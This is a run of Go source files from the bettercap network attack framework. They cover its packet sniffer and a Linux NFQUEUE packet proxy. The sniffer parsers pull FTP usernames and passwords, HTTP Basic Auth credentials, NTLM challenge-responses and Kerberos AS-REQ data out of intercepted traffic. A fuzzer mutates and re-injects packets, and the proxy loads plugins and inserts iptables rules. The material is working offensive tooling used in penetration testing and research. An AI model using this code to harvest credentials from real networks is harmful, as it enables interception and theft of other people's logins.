mod.StringParam("net.sniff.regexp"); err != nil { return err, ctx } else if ctx.Expression != "" { if ctx.Compiled, err = regexp.Compile(ctx.Expression); err != nil { return err, ctx } } if err, ctx.Output = mod.StringParam("net.sniff.output"); err != nil { return err, ctx } else if ctx.Output != "" { if ctx.OutputFile, err = os.Create(ctx.Output); err != nil { return err, ctx } ctx.OutputWriter = pcapgo.NewWriter(ctx.OutputFile) ctx.OutputWriter.WriteFileHeader(65536, ctx.Handle.LinkType()) } return nil, ctx } func NewSnifferContext() *SnifferContext { return &SnifferContext{ Handle: nil, DumpLocal: false, Verbose: false, Filter: "", Expression: "", Compiled: nil, Output: "", OutputFile: nil, OutputWriter: nil, } } var ( no = tui.Red("no") yes = tui.Green("yes") yn = map[bool]string{ true: yes, false: no, } ) func (c *SnifferContext) Log(sess *session.Session) { log.Info("Skip local packets : %s", yn[c.DumpLocal]) log.Info("Verbose : %s", yn[c.Verbose]) log.Info("BPF Filter : '%s'", tui.Yellow(c.Filter)) log.Info("Regular expression : '%s'", tui.Yellow(c.Expression)) log.Info("File output : '%s'", tui.Yellow(c.Output)) } func (c *SnifferContext) Close() { if c.Handle != nil { log.Debug("closing handle") c.Handle.Close() log.Debug("handle closed") c.Handle = nil } if c.OutputFile != nil { log.Debug("closing output") c.OutputFile.Close() log.Debug("output closed") c.OutputFile = nil } }
Go
bettercap/modules/net_sniff/net_sniff_dns.go
package net_sniff import ( "github.com/google/gopacket" "github.com/google/gopacket/layers" "net" "strings" "github.com/evilsocket/islazy/tui" ) func dnsParser(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, udp *layers.UDP) bool { dns, parsed := pkt.Layer(layers.LayerTypeDNS).(*layers.DNS) if !parsed { return false } if dns.OpCode != layers.DNSOpCodeQuery { return false } m := make(map[string][]string) answers := [][]layers.DNSResourceRecord{ dns.Answers, dns.Authorities, dns.Additionals, } for _, list := range answers { for _, a := range list { if a.IP == nil { continue } hostname := string(a.Name) if _, found := m[hostname]; !found { m[hostname] = make([]string, 0) } m[hostname] = append(m[hostname], vIP(a.IP)) } } if len(m) == 0 && dns.ResponseCode != layers.DNSResponseCodeNoErr { for _, a := range dns.Questions { m[string(a.Name)] = []string{tui.Red(dns.ResponseCode.String())} } } for hostname, ips := range m { NewSnifferEvent( pkt.Metadata().Timestamp, "dns", srcIP.String(), dstIP.String(), nil, "%s %s > %s : %s is %s", tui.Wrap(tui.BACKDARKGRAY+tui.FOREWHITE, "dns"), vIP(srcIP), vIP(dstIP), tui.Yellow(hostname), tui.Dim(strings.Join(ips, ", ")), ).Push() } return true }
Go
bettercap/modules/net_sniff/net_sniff_dot11.go
package net_sniff import ( "github.com/google/gopacket" "github.com/google/gopacket/layers" ) func onDOT11(radiotap *layers.RadioTap, dot11 *layers.Dot11, pkt gopacket.Packet, verbose bool) { NewSnifferEvent( pkt.Metadata().Timestamp, "802.11", "-", "-", len(pkt.Data()), "%s %s proto=%d a1=%s a2=%s a3=%s a4=%s seqn=%d frag=%d", dot11.Type, dot11.Flags, dot11.Proto, dot11.Address1, dot11.Address2, dot11.Address3, dot11.Address4, dot11.SequenceNumber, dot11.FragmentNumber, ).Push() }
Go
bettercap/modules/net_sniff/net_sniff_event.go
package net_sniff import ( "fmt" "time" "github.com/bettercap/bettercap/session" ) type SniffData map[string]interface{} type SnifferEvent struct { PacketTime time.Time `json:"time"` Protocol string `json:"protocol"` Source string `json:"from"` Destination string `json:"to"` Message string `json:"message"` Data interface{} `json:"data"` } func NewSnifferEvent(t time.Time, proto string, src string, dst string, data interface{}, format string, args ...interface{}) SnifferEvent { return SnifferEvent{ PacketTime: t, Protocol: proto, Source: src, Destination: dst, Message: fmt.Sprintf(format, args...), Data: data, } } func (e SnifferEvent) Push() { session.I.Events.Add("net.sniff."+e.Protocol, e) session.I.Refresh() }
Go
bettercap/modules/net_sniff/net_sniff_ftp.go
package net_sniff import ( "net" "regexp" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/str" "github.com/evilsocket/islazy/tui" ) var ( ftpRe = regexp.MustCompile(`^(USER|PASS) (.+)[\n\r]+$`) ) func ftpParser(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, tcp *layers.TCP) bool { data := string(tcp.Payload) if matches := ftpRe.FindAllStringSubmatch(data, -1); matches != nil { what := str.Trim(matches[0][1]) cred := str.Trim(matches[0][2]) NewSnifferEvent( pkt.Metadata().Timestamp, "ftp", srcIP.String(), dstIP.String(), nil, "%s %s > %s:%s - %s %s", tui.Wrap(tui.BACKYELLOW+tui.FOREWHITE, "ftp"), vIP(srcIP), vIP(dstIP), vPort(tcp.DstPort), tui.Bold(what), tui.Yellow(cred), ).Push() return true } return false }
Go
bettercap/modules/net_sniff/net_sniff_fuzz.go
package net_sniff import ( "math/rand" "strings" "github.com/google/gopacket" "github.com/evilsocket/islazy/str" ) var mutators = []func(byte) byte{ func(b byte) byte { return byte(rand.Intn(256) & 0xff) }, func(b byte) byte { return byte(b << uint(rand.Intn(9))) }, func(b byte) byte { return byte(b >> uint(rand.Intn(9))) }, } func (mod *Sniffer) fuzz(data []byte) int { changes := 0 for off, b := range data { if rand.Float64() > mod.fuzzRatio { continue } data[off] = mutators[rand.Intn(len(mutators))](b) changes++ } return changes } func (mod *Sniffer) doFuzzing(pkt gopacket.Packet) { if rand.Float64() > mod.fuzzRate { return } layersChanged := 0 bytesChanged := 0 for _, fuzzLayerType := range mod.fuzzLayers { for _, layer := range pkt.Layers() { if layer.LayerType().String() == fuzzLayerType { fuzzData := layer.LayerContents() changes := mod.fuzz(fuzzData) if changes > 0 { layersChanged++ bytesChanged += changes } } } } if bytesChanged > 0 { logFn := mod.Info if mod.fuzzSilent { logFn = mod.Debug } logFn("changed %d bytes in %d layers.", bytesChanged, layersChanged) if err := mod.Session.Queue.Send(pkt.Data()); err != nil { mod.Error("error sending fuzzed packet: %s", err) } } } func (mod *Sniffer) configureFuzzing() (err error) { layers := "" if err, layers = mod.StringParam("net.fuzz.layers"); err != nil { return } else { mod.fuzzLayers = str.Comma(layers) } if err, mod.fuzzRate = mod.DecParam("net.fuzz.rate"); err != nil { return } if err, mod.fuzzRatio = mod.DecParam("net.fuzz.ratio"); err != nil { return } if err, mod.fuzzSilent = mod.BoolParam("net.fuzz.silent"); err != nil { return } return } func (mod *Sniffer) StartFuzzing() error { if mod.fuzzActive { return nil } if err := mod.configureFuzzing(); err != nil { return err } else if !mod.Running() { if err := mod.Start(); err != nil { return err } } mod.fuzzActive = true mod.Info("active on layer types %s (rate:%f ratio:%f)", strings.Join(mod.fuzzLayers, ","), mod.fuzzRate, mod.fuzzRatio) return nil } func (mod *Sniffer) StopFuzzing() error { mod.fuzzActive = false return nil }
Go
bettercap/modules/net_sniff/net_sniff_http.go
package net_sniff import ( "bufio" "bytes" "compress/gzip" "io/ioutil" "net" "net/http" "strings" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/dustin/go-humanize" "github.com/evilsocket/islazy/tui" ) type HTTPRequest struct { Method string `json:"method"` Proto string `json:"proto"` Host string `json:"host"` URL string `json:"url:"` Headers http.Header `json:"headers"` ContentType string `json:"content_type"` Body []byte `json:"body"` } func (r HTTPRequest) IsType(ctype string) bool { return strings.Contains(r.ContentType, ctype) } type HTTPResponse struct { Protocol string `json:"protocol"` Status string `json:"status"` StatusCode int `json:"status_code"` Headers http.Header `json:"headers"` Body []byte `json:"body"` ContentLength int64 `json:"content_length"` ContentType string `json:"content_type"` TransferEncoding []string `json:"transfer_encoding"` } func (r HTTPResponse) IsType(ctype string) bool { return strings.Contains(r.ContentType, ctype) } func toSerializableRequest(req *http.Request) HTTPRequest { body := []byte(nil) ctype := "?" if req.Body != nil { body, _ = ioutil.ReadAll(req.Body) } for name, values := range req.Header { if strings.ToLower(name) == "content-type" { for _, value := range values { ctype = value } } } return HTTPRequest{ Method: req.Method, Proto: req.Proto, Host: req.Host, URL: req.URL.String(), Headers: req.Header, ContentType: ctype, Body: body, } } func toSerializableResponse(res *http.Response) HTTPResponse { body := []byte(nil) ctype := "?" cenc := "" for name, values := range res.Header { name = strings.ToLower(name) if name == "content-type" { for _, value := range values { ctype = value } } else if name == "content-encoding" { for _, value := range values { cenc = value } } } if res.Body != nil { body, _ = ioutil.ReadAll(res.Body) } // attempt decompression, but since this has been parsed by just // a tcp packet, it will probably fail if body != nil && strings.Contains(cenc, "gzip") { buffer := bytes.NewBuffer(body) uncompressed := bytes.Buffer{} if reader, err := gzip.NewReader(buffer); err == nil { if _, err = uncompressed.ReadFrom(reader); err == nil { body = uncompressed.Bytes() } } } return HTTPResponse{ Protocol: res.Proto, Status: res.Status, StatusCode: res.StatusCode, Headers: res.Header, Body: body, ContentLength: res.ContentLength, ContentType: ctype, TransferEncoding: res.TransferEncoding, } } func httpParser(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, tcp *layers.TCP) bool { data := tcp.Payload if req, err := http.ReadRequest(bufio.NewReader(bytes.NewReader(data))); err == nil { if user, pass, ok := req.BasicAuth(); ok { NewSnifferEvent( pkt.Metadata().Timestamp, "http.request", srcIP.String(), req.Host, toSerializableRequest(req), "%s %s %s %s%s - %s %s, %s %s", tui.Wrap(tui.BACKRED+tui.FOREBLACK, "http"), vIP(srcIP), tui.Wrap(tui.BACKLIGHTBLUE+tui.FOREBLACK, req.Method), tui.Yellow(req.Host), vURL(req.URL.String()), tui.Bold("USER"), tui.Red(user), tui.Bold("PASS"), tui.Red(pass), ).Push() } else { NewSnifferEvent( pkt.Metadata().Timestamp, "http.request", srcIP.String(), req.Host, toSerializableRequest(req), "%s %s %s %s%s", tui.Wrap(tui.BACKRED+tui.FOREBLACK, "http"), vIP(srcIP), tui.Wrap(tui.BACKLIGHTBLUE+tui.FOREBLACK, req.Method), tui.Yellow(req.Host), vURL(req.URL.String()), ).Push() } return true } else if res, err := http.ReadResponse(bufio.NewReader(bytes.NewReader(data)), nil); err == nil { sres := toSerializableResponse(res) NewSnifferEvent( pkt.Metadata().Timestamp, "http.response", srcIP.String(), dstIP.String(), sres, "%s %s:%d %s -> %s (%s %s)", tui.Wrap(tui.BACKRED+tui.FOREBLACK, "http"), vIP(srcIP), tcp.SrcPort, tui.Bold(res.Status), vIP(dstIP), tui.Dim(humanize.Bytes(uint64(len(sres.Body)))), tui.Yellow(sres.ContentType), ).Push() return true } return false }
Go
bettercap/modules/net_sniff/net_sniff_krb5.go
package net_sniff import ( "encoding/asn1" "net" "github.com/bettercap/bettercap/packets" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/tui" ) func krb5Parser(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, udp *layers.UDP) bool { if udp.DstPort != 88 { return false } var req packets.Krb5Request _, err := asn1.UnmarshalWithParams(udp.Payload, &req, packets.Krb5AsReqParam) if err != nil { return false } if s, err := req.String(); err == nil { NewSnifferEvent( pkt.Metadata().Timestamp, "krb5", srcIP.String(), dstIP.String(), nil, "%s %s -> %s : %s", tui.Wrap(tui.BACKRED+tui.FOREBLACK, "krb-as-req"), vIP(srcIP), vIP(dstIP), s, ).Push() return true } return false }
Go
bettercap/modules/net_sniff/net_sniff_mdns.go
package net_sniff import ( "net" "strings" "github.com/bettercap/bettercap/packets" "github.com/bettercap/bettercap/session" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/tui" ) func mdnsParser(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, udp *layers.UDP) bool { if udp.SrcPort == packets.MDNSPort && udp.DstPort == packets.MDNSPort { dns := layers.DNS{} if err := dns.DecodeFromBytes(udp.Payload, gopacket.NilDecodeFeedback); err == nil && dns.OpCode == layers.DNSOpCodeQuery { for _, q := range dns.Questions { NewSnifferEvent( pkt.Metadata().Timestamp, "mdns", srcIP.String(), dstIP.String(), nil, "%s %s : %s query for %s", tui.Wrap(tui.BACKDARKGRAY+tui.FOREWHITE, "mdns"), vIP(srcIP), tui.Dim(q.Type.String()), tui.Yellow(string(q.Name)), ).Push() } m := make(map[string][]string) answers := append(dns.Answers, dns.Additionals...) answers = append(answers, dns.Authorities...) for _, answer := range answers { if answer.Type == layers.DNSTypeA || answer.Type == layers.DNSTypeAAAA { hostname := string(answer.Name) if _, found := m[hostname]; !found { m[hostname] = make([]string, 0) } m[hostname] = append(m[hostname], answer.IP.String()) } } for hostname, ips := range m { for _, ip := range ips { if endpoint := session.I.Lan.GetByIp(ip); endpoint != nil { endpoint.OnMeta(map[string]string{ "mdns:hostname": hostname, }) } } NewSnifferEvent( pkt.Metadata().Timestamp, "mdns", srcIP.String(), dstIP.String(), nil, "%s %s : %s is %s", tui.Wrap(tui.BACKDARKGRAY+tui.FOREWHITE, "mdns"), vIP(srcIP), tui.Yellow(hostname), tui.Dim(strings.Join(ips, ", ")), ).Push() } return true } } return false }
Go
bettercap/modules/net_sniff/net_sniff_ntlm.go
package net_sniff import ( "net" "regexp" "strings" "github.com/bettercap/bettercap/packets" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/tui" ) var ( ntlmRe = regexp.MustCompile("(WWW-|Proxy-|)(Authenticate|Authorization): (NTLM|Negotiate)") challRe = regexp.MustCompile("(WWW-|Proxy-|)(Authenticate): (NTLM|Negotiate)") respRe = regexp.MustCompile("(WWW-|Proxy-|)(Authorization): (NTLM|Negotiate)") ntlm = packets.NewNTLMState() ) func isNtlm(s string) bool { return ntlmRe.FindString(s) != "" } func isChallenge(s string) bool { return challRe.FindString(s) != "" } func isResponse(s string) bool { return respRe.FindString(s) != "" } func ntlmParser(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, tcp *layers.TCP) bool { data := tcp.Payload ok := false for _, line := range strings.Split(string(data), "\r\n") { if isNtlm(line) { tokens := strings.Split(line, " ") if len(tokens) != 3 { continue } if isChallenge(line) { ok = true ntlm.AddServerResponse(tcp.Ack, tokens[2]) } else if isResponse(line) { ok = true ntlm.AddClientResponse(tcp.Seq, tokens[2], func(data packets.NTLMChallengeResponseParsed) { NewSnifferEvent( pkt.Metadata().Timestamp, "ntlm.response", srcIP.String(), dstIP.String(), nil, "%s %s > %s | %s", tui.Wrap(tui.BACKDARKGRAY+tui.FOREWHITE, "ntlm.response"), vIP(srcIP), vIP(dstIP), data.LcString(), ).Push() }) } } } return ok }
Go
bettercap/modules/net_sniff/net_sniff_parsers.go
package net_sniff import ( "fmt" "net" "github.com/bettercap/bettercap/log" "github.com/bettercap/bettercap/packets" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/tui" ) func onUNK(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, verbose bool) { if verbose { sz := len(payload) NewSnifferEvent( pkt.Metadata().Timestamp, pkt.TransportLayer().LayerType().String(), vIP(srcIP), vIP(dstIP), SniffData{ "Size": sz, }, "%s %s > %s %s", tui.Wrap(tui.BACKDARKGRAY+tui.FOREWHITE, pkt.TransportLayer().LayerType().String()), vIP(srcIP), vIP(dstIP), tui.Dim(fmt.Sprintf("%d bytes", sz)), ).Push() } } func mainParser(pkt gopacket.Packet, verbose bool) bool { defer func() { if err := recover(); err != nil { log.Warning("error while parsing packet: %v", err) } }() // simple networking sniffing mode? nlayer := pkt.NetworkLayer() if nlayer != nil { isIPv4 := nlayer.LayerType() == layers.LayerTypeIPv4 isIPv6 := nlayer.LayerType() == layers.LayerTypeIPv6 if !isIPv4 && !isIPv6 { log.Debug("Unexpected layer type %s, skipping packet.", nlayer.LayerType()) log.Debug("%s", pkt.Dump()) return false } var srcIP, dstIP net.IP var basePayload []byte if isIPv4 { ip := nlayer.(*layers.IPv4) srcIP = ip.SrcIP dstIP = ip.DstIP basePayload = ip.Payload } else { ip := nlayer.(*layers.IPv6) srcIP = ip.SrcIP dstIP = ip.DstIP basePayload = ip.Payload } tlayer := pkt.TransportLayer() if tlayer == nil { log.Debug("Missing transport layer skipping packet.") log.Debug("%s", pkt.Dump()) return false } if tlayer.LayerType() == layers.LayerTypeTCP { onTCP(srcIP, dstIP, basePayload, pkt, verbose) } else if tlayer.LayerType() == layers.LayerTypeUDP { onUDP(srcIP, dstIP, basePayload, pkt, verbose) } else { onUNK(srcIP, dstIP, basePayload, pkt, verbose) } return true } else if ok, radiotap, dot11 := packets.Dot11Parse(pkt); ok { // are we sniffing in monitor mode? onDOT11(radiotap, dot11, pkt, verbose) return true } return false }
Go
bettercap/modules/net_sniff/net_sniff_sni.go
package net_sniff import ( "fmt" "net" "regexp" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/tui" ) // poor man's TLS Client Hello with SNI extension parser :P var sniRe = regexp.MustCompile("\x00\x00.{4}\x00.{2}([a-z0-9]+([\\-\\.]{1}[a-z0-9]+)*\\.[a-z]{2,6})\x00") func sniParser(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, tcp *layers.TCP) bool { data := tcp.Payload dataSize := len(data) if dataSize < 2 || data[0] != 0x16 || data[1] != 0x03 { return false } m := sniRe.FindSubmatch(data) if len(m) < 2 { return false } domain := string(m[1]) if tcp.DstPort != 443 { domain = fmt.Sprintf("%s:%d", domain, tcp.DstPort) } NewSnifferEvent( pkt.Metadata().Timestamp, "https", srcIP.String(), domain, nil, "%s %s > %s", tui.Wrap(tui.BACKYELLOW+tui.FOREWHITE, "sni"), vIP(srcIP), tui.Yellow("https://"+domain), ).Push() return true }
Go
bettercap/modules/net_sniff/net_sniff_stats.go
package net_sniff import ( "github.com/bettercap/bettercap/log" "time" ) type SnifferStats struct { NumLocal uint64 NumMatched uint64 NumDumped uint64 NumWrote uint64 Started time.Time FirstPacket time.Time LastPacket time.Time } func NewSnifferStats() *SnifferStats { return &SnifferStats{ NumLocal: 0, NumMatched: 0, NumDumped: 0, NumWrote: 0, Started: time.Now(), FirstPacket: time.Time{}, LastPacket: time.Time{}, } } func (s *SnifferStats) Print() error { first := "never" last := "never" if !s.FirstPacket.IsZero() { first = s.FirstPacket.String() } if !s.LastPacket.IsZero() { last = s.LastPacket.String() } log.Info("Sniffer Started : %s", s.Started) log.Info("First Packet Seen : %s", first) log.Info("Last Packet Seen : %s", last) log.Info("Local Packets : %d", s.NumLocal) log.Info("Matched Packets : %d", s.NumMatched) log.Info("Dumped Packets : %d", s.NumDumped) log.Info("Wrote Packets : %d", s.NumWrote) return nil }
Go
bettercap/modules/net_sniff/net_sniff_tcp.go
package net_sniff import ( "fmt" "net" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/tui" ) var tcpParsers = []func(net.IP, net.IP, []byte, gopacket.Packet, *layers.TCP) bool{ sniParser, ntlmParser, httpParser, ftpParser, teamViewerParser, } func onTCP(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, verbose bool) { tcp := pkt.Layer(layers.LayerTypeTCP).(*layers.TCP) for _, parser := range tcpParsers { if parser(srcIP, dstIP, payload, pkt, tcp) { return } } if verbose { sz := len(payload) NewSnifferEvent( pkt.Metadata().Timestamp, "tcp", fmt.Sprintf("%s:%s", srcIP, vPort(tcp.SrcPort)), fmt.Sprintf("%s:%s", dstIP, vPort(tcp.DstPort)), SniffData{ "Size": len(payload), }, "%s %s:%s > %s:%s %s", tui.Wrap(tui.BACKLIGHTBLUE+tui.FOREBLACK, "tcp"), vIP(srcIP), vPort(tcp.SrcPort), vIP(dstIP), vPort(tcp.DstPort), tui.Dim(fmt.Sprintf("%d bytes", sz)), ).Push() } }
Go
bettercap/modules/net_sniff/net_sniff_teamviewer.go
package net_sniff import ( "github.com/bettercap/bettercap/packets" "net" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/tui" ) func teamViewerParser(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, tcp *layers.TCP) bool { if tcp.SrcPort == packets.TeamViewerPort || tcp.DstPort == packets.TeamViewerPort { if tv := packets.ParseTeamViewer(tcp.Payload); tv != nil { NewSnifferEvent( pkt.Metadata().Timestamp, "teamviewer", srcIP.String(), dstIP.String(), nil, "%s %s %s > %s", tui.Wrap(tui.BACKYELLOW+tui.FOREWHITE, "teamviewer"), vIP(srcIP), tui.Yellow(tv.Command), vIP(dstIP), ).Push() return true } } return false }
Go
bettercap/modules/net_sniff/net_sniff_udp.go
package net_sniff import ( "fmt" "net" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/tui" ) var udpParsers = []func(net.IP, net.IP, []byte, gopacket.Packet, *layers.UDP) bool{ dnsParser, mdnsParser, krb5Parser, upnpParser, } func onUDP(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, verbose bool) { udp := pkt.Layer(layers.LayerTypeUDP).(*layers.UDP) for _, parser := range udpParsers { if parser(srcIP, dstIP, payload, pkt, udp) { return } } if verbose { sz := len(payload) NewSnifferEvent( pkt.Metadata().Timestamp, "udp", fmt.Sprintf("%s:%s", srcIP, vPort(udp.SrcPort)), fmt.Sprintf("%s:%s", dstIP, vPort(udp.DstPort)), SniffData{ "Size": sz, }, "%s %s:%s > %s:%s %s", tui.Wrap(tui.BACKDARKGRAY+tui.FOREWHITE, "udp"), vIP(srcIP), vPort(udp.SrcPort), vIP(dstIP), vPort(udp.DstPort), tui.Dim(fmt.Sprintf("%d bytes", sz)), ).Push() } }
Go
bettercap/modules/net_sniff/net_sniff_upnp.go
package net_sniff import ( "fmt" "net" "github.com/bettercap/bettercap/packets" "github.com/google/gopacket" "github.com/google/gopacket/layers" "github.com/evilsocket/islazy/str" "github.com/evilsocket/islazy/tui" ) func upnpParser(srcIP, dstIP net.IP, payload []byte, pkt gopacket.Packet, udp *layers.UDP) bool { if data := packets.UPNPGetMeta(pkt); len(data) > 0 { s := "" for name, value := range data { s += fmt.Sprintf("%s:%s ", tui.Blue(name), tui.Yellow(value)) } NewSnifferEvent( pkt.Metadata().Timestamp, "upnp", srcIP.String(), dstIP.String(), nil, "%s %s -> %s : %s", tui.Wrap(tui.BACKRED+tui.FOREBLACK, "upnp"), vIP(srcIP), vIP(dstIP), str.Trim(s), ).Push() return true } return false }
Go
bettercap/modules/net_sniff/net_sniff_views.go
package net_sniff import ( "fmt" "net" "github.com/bettercap/bettercap/session" "github.com/evilsocket/islazy/tui" "github.com/google/gopacket/layers" ) func vIP(ip net.IP) string { if session.I.Interface.IP.Equal(ip) { return tui.Dim("local") } else if session.I.Gateway.IP.Equal(ip) { return "gateway" } address := ip.String() host := session.I.Lan.GetByIp(address) if host != nil { if host.Hostname != "" { return host.Hostname } } return address } func vPort(p interface{}) string { sp := fmt.Sprintf("%d", p) if tcp, ok := p.(layers.TCPPort); ok { if name, found := layers.TCPPortNames[tcp]; found { sp = tui.Yellow(name) } } else if udp, ok := p.(layers.UDPPort); ok { if name, found := layers.UDPPortNames[udp]; found { sp = tui.Yellow(name) } } return sp } var maxUrlSize = 80 func vURL(u string) string { ul := len(u) if ul > maxUrlSize { u = fmt.Sprintf("%s...", u[0:maxUrlSize-3]) } return u }
Go
bettercap/modules/packet_proxy/packet_proxy_darwin.go
package packet_proxy import ( "github.com/bettercap/bettercap/session" ) type PacketProxy struct { session.SessionModule } func NewPacketProxy(s *session.Session) *PacketProxy { return &PacketProxy{ SessionModule: session.NewSessionModule("packet.proxy", s), } } func (mod PacketProxy) Name() string { return "packet.proxy" } func (mod PacketProxy) Description() string { return "Not supported on this OS" } func (mod PacketProxy) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *PacketProxy) Configure() (err error) { return session.ErrNotSupported } func (mod *PacketProxy) Start() error { return session.ErrNotSupported } func (mod *PacketProxy) Stop() error { return session.ErrNotSupported }
Go
bettercap/modules/packet_proxy/packet_proxy_linux.go
package packet_proxy import ( "fmt" "io/ioutil" golog "log" "plugin" "strings" "syscall" "github.com/bettercap/bettercap/core" "github.com/bettercap/bettercap/session" "github.com/chifflier/nfqueue-go/nfqueue" "github.com/evilsocket/islazy/fs" "github.com/evilsocket/islazy/tui" ) type PacketProxy struct { session.SessionModule done chan bool chainName string rule string queue *nfqueue.Queue queueNum int queueCb nfqueue.Callback pluginPath string plugin *plugin.Plugin } // this is ugly, but since we can only pass a function // (not a struct function) as a callback to nfqueue, // we need this in order to recover the state. var mod *PacketProxy func NewPacketProxy(s *session.Session) *PacketProxy { mod = &PacketProxy{ SessionModule: session.NewSessionModule("packet.proxy", s), done: make(chan bool), queue: nil, queueCb: nil, queueNum: 0, chainName: "OUTPUT", } mod.AddHandler(session.NewModuleHandler("packet.proxy on", "", "Start the NFQUEUE based packet proxy.", func(args []string) error { return mod.Start() })) mod.AddHandler(session.NewModuleHandler("packet.proxy off", "", "Stop the NFQUEUE based packet proxy.", func(args []string) error { return mod.Stop() })) mod.AddParam(session.NewIntParameter("packet.proxy.queue.num", "0", "NFQUEUE number to bind to.")) mod.AddParam(session.NewStringParameter("packet.proxy.chain", "OUTPUT", "", "Chain name of the iptables rule.")) mod.AddParam(session.NewStringParameter("packet.proxy.plugin", "", "", "Go plugin file to load and call for every packet.")) mod.AddParam(session.NewStringParameter("packet.proxy.rule", "", "", "Any additional iptables rule to make the queue more selective (ex. --destination 8.8.8.8).")) return mod } func (mod PacketProxy) Name() string { return "packet.proxy" } func (mod PacketProxy) Description() string { return "A Linux only module that relies on NFQUEUEs in order to filter packets." } func (mod PacketProxy) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *PacketProxy) destroyQueue() { if mod.queue == nil { return } mod.queue.DestroyQueue() mod.queue.Close() mod.queue = nil } func (mod *PacketProxy) runRule(enable bool) (err error) { action := "-A" if !enable { action = "-D" } args := []string{ action, mod.chainName, } if mod.rule != "" { rule := strings.Split(mod.rule, " ") args = append(args, rule...) } args = append(args, []string{ "-j", "NFQUEUE", "--queue-num", fmt.Sprintf("%d", mod.queueNum), "--queue-bypass", }...) mod.Debug("iptables %s", args) _, err = core.Exec("iptables", args) return } func (mod *PacketProxy) Configure() (err error) { golog.SetOutput(ioutil.Discard) mod.destroyQueue() if err, mod.queueNum = mod.IntParam("packet.proxy.queue.num"); err != nil { return } else if err, mod.chainName = mod.StringParam("packet.proxy.chain"); err != nil { return } else if err, mod.rule = mod.StringParam("packet.proxy.rule"); err != nil { return } else if err, mod.pluginPath = mod.StringParam("packet.proxy.plugin"); err != nil { return } if mod.pluginPath == "" { return fmt.Errorf("The parameter %s can not be empty.", tui.Bold("packet.proxy.plugin")) } else if !fs.Exists(mod.pluginPath) { return fmt.Errorf("%s does not exist.", mod.pluginPath) } mod.Info("loading packet proxy plugin from %s ...", mod.pluginPath) var ok bool var sym plugin.Symbol if mod.plugin, err = plugin.Open(mod.pluginPath); err != nil { return } else if sym, err = mod.plugin.Lookup("OnPacket"); err != nil { return } else if mod.queueCb, ok = sym.(func(*nfqueue.Payload) int); !ok { return fmt.Errorf("Symbol OnPacket is not a valid callback function.") } if sym, err = mod.plugin.Lookup("OnStart"); err == nil { var onStartCb func() int if onStartCb, ok = sym.(func() int); !ok { return fmt.Errorf("OnStart signature does not match expected signature: 'func() int'") } else { var result int if result = onStartCb(); result != 0 { return fmt.Errorf("OnStart returned non-zero result. result=%d", result) } } } mod.queue = new(nfqueue.Queue) if err = mod.queue.SetCallback(dummyCallback); err != nil { return } else if err = mod.queue.Init(); err != nil { return } else if err = mod.queue.Unbind(syscall.AF_INET); err != nil { return } else if err = mod.queue.Bind(syscall.AF_INET); err != nil { return } else if err = mod.queue.CreateQueue(mod.queueNum); err != nil { return } else if err = mod.queue.SetMode(nfqueue.NFQNL_COPY_PACKET); err != nil { return } else if err = mod.runRule(true); err != nil { return } return nil } // we need this because for some reason we can't directly // pass the symbol loaded from the plugin as a direct // CGO callback ... ¯\_(ツ)_/¯ func dummyCallback(payload *nfqueue.Payload) int { return mod.queueCb(payload) } func (mod *PacketProxy) Start() error { if mod.Running() { return session.ErrAlreadyStarted(mod.Name()) } else if err := mod.Configure(); err != nil { return err } return mod.SetRunning(true, func() { mod.Info("started on queue number %d", mod.queueNum) defer mod.destroyQueue() mod.queue.Loop() mod.done <- true }) } func (mod *PacketProxy) Stop() (err error) { return mod.SetRunning(false, func() { mod.queue.StopLoop() mod.runRule(false) var sym plugin.Symbol if sym, err = mod.plugin.Lookup("OnStop"); err == nil { var onStopCb func() var ok bool if onStopCb, ok = sym.(func()); !ok { mod.Error("OnStop signature does not match expected signature: 'func()', unable to call OnStop.") } else { onStopCb() } } <-mod.done }) }
Go
bettercap/modules/packet_proxy/packet_proxy_windows.go
package packet_proxy import ( "github.com/bettercap/bettercap/session" ) type PacketProxy struct { session.SessionModule } func NewPacketProxy(s *session.Session) *PacketProxy { return &PacketProxy{ SessionModule: session.NewSessionModule("packet.proxy", s), } } func (mod PacketProxy) Name() string { return "packet.proxy" } func (mod PacketProxy) Description() string { return "Not supported on this OS" } func (mod PacketProxy) Author() string { return "Simone Margaritelli <[email protected]>" } func (mod *PacketProxy) Configure() (err error) { return session.ErrNotSupported } func (mod *PacketProxy) Start() error { return session.ErrNotSupported } func (mod *PacketProxy) Stop() error { return session.ErrNotSupported }
Go
bettercap/modules/syn_scan/banner_grabbing.go
